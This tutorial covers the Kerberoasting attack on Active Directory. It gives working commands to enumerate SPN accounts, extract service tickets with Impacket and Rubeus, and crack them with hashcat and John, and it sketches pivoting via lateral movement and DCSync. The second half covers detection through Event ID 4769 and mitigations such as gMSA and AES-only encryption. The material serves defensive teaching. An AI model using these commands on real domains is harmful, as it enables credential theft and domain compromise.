Kerberoasting: Enumeration, Extraction, Cracking, and Detection

Why Kerberos tickets are crackable at all

Any authenticated domain user can request a Kerberos service ticket (TGS) for any service registered with a Service Principal Name (SPN) — that is normal, intended Kerberos behavior, not a misconfiguration. The ticket's body is encrypted with a key derived from the target service account's own password hash, not the requesting user's.

That single fact is the entire attack: because the domain controller will hand a TGS to any authenticated user for any SPN, and because the ticket is encrypted with the service account's password-derived key, an attacker can request the ticket, take it home, and try to crack it completely offline — with no further contact with the domain controller, no lockout risk, and no way for the DC to tell the difference between a legitimate service ticket request and a Kerberoasting attempt.

This means the entire security of the attack rests on one thing: the strength of the service account's password. Human-chosen "temporary" service account passwords set up five years ago during a software install are exactly the population this attack finds.

Step 1 — Enumerate accounts with an SPN

The first step is identifying which accounts have a registered SPN, since those are the only ones a TGS can meaningfully be requested for. Built-in Windows tooling already exposes this domain-wide with no additional software.

setspn.exe -Q */*

• PowerView: Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset | Format-Table -Wrap
• LDAP (any OS): ldapsearch -x -H ldap://dc01.corp.local -D "user@corp.local" -w 'password' -b "DC=corp,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName

Step 2 — Request and extract the service tickets

With target accounts identified, request a TGS for each one and pull it into a crackable format. Impacket's GetUserSPNs.py is the most portable option and works from Linux without touching the domain-joined environment at all beyond the authenticated LDAP/Kerberos traffic.

GetUserSPNs.py corp.local/j.doe:'Password123!' -dc-ip 10.10.10.10 -request -outputfile hashes.kerberoast

• Rubeus (Windows, from a foothold): Rubeus.exe kerberoast /outfile:hashes.kerberoast
• Target one account only (quieter): Rubeus.exe kerberoast /user:svc_sql /simple
• Roast only accounts with old passwords first: Rubeus.exe kerberoast /rc4opsec /outfile:hashes.kerberoast

Step 3 — Crack the tickets offline

The extracted ticket is a standard krb5tgs hash. Both hashcat and John the Ripper support it natively, and cracking speed depends entirely on the encryption type: RC4 (etype 23) hashes crack orders of magnitude faster than AES256 (etype 18) ones, which is the whole reason encryption type matters so much in this attack.

hashcat -m 13100 -a 0 hashes.kerberoast rockyou.txt

• AES256 tickets: hashcat -m 19700 -a 0 hashes.kerberoast rockyou.txt
• John the Ripper: john --format=krb5tgs --wordlist=rockyou.txt hashes.kerberoast

What a cracked service account actually gets you

A cracked service account password is rarely the objective on its own — it's a pivot. Service accounts are frequently over-provisioned: a SQL service account with local admin on three application servers, a backup agent account with domain-wide read access, or worse, a legacy account still holding Domain Admin membership because nobody wanted to risk breaking a production job by removing it.

The chain from here typically continues into whatever that account can reach: lateral movement to servers where it has local admin, DCSync if it holds replication rights, or simply logging in interactively if it was never restricted from doing so. Kerberoasting is almost never the final step of an engagement — it's the door.

Detecting Kerberoasting

Every TGS request against a service account SPN generates Windows Event ID 4769 (A Kerberos service ticket was requested) on the domain controller. This is unavoidable — even the most careful attacker must generate this event, because it is how Kerberos itself functions. The detection challenge is separating normal, high-volume 4769 traffic from anomalous requests.

• Ticket Encryption Type: field value 0x17 (RC4) is anomalous in any environment that has enforced AES — flag 4769 events with 0x17 where the account normally requests 0x12 (AES256).
• Request volume and pattern: a single source account requesting TGS tickets for many distinct SPNs in a short window is the classic Kerberoasting signature — normal service usage requests one or two specific SPNs repeatedly, not dozens of different ones.
• Failure Code 0x0 with an unusual requesting account: 4769 logs the account that requested the ticket, not just the service it was issued for — cross-reference against accounts that have no legitimate reason to be talking to that service.
• Deploy canary/honeypot service accounts with SPNs and no real function — any 4769 event referencing them is a near-certain true positive with effectively zero false-positive rate.

Fixing the root cause

Detection buys you time to respond; the actual fix is removing crackable passwords from the population entirely. Two changes close most of the exposure permanently.

• Migrate service accounts to Group Managed Service Accounts (gMSA) — Windows manages a 240-character random password automatically, and the account never has a human-memorable secret to crack in the first place.
• Where gMSA migration isn't feasible, set msDS-SupportedEncryptionTypes to AES-only and use a genuinely random 30+ character password stored in a vault, not a wiki page.
• Audit and remove unnecessary group memberships from every service account — the blast radius of a cracked password matters as much as whether it gets cracked.
• Set a recurring review of accounts with an SPN and a stale pwdLastSet date; this is exactly the population Kerberoasting targets, and it should be a standing item, not a one-time cleanup.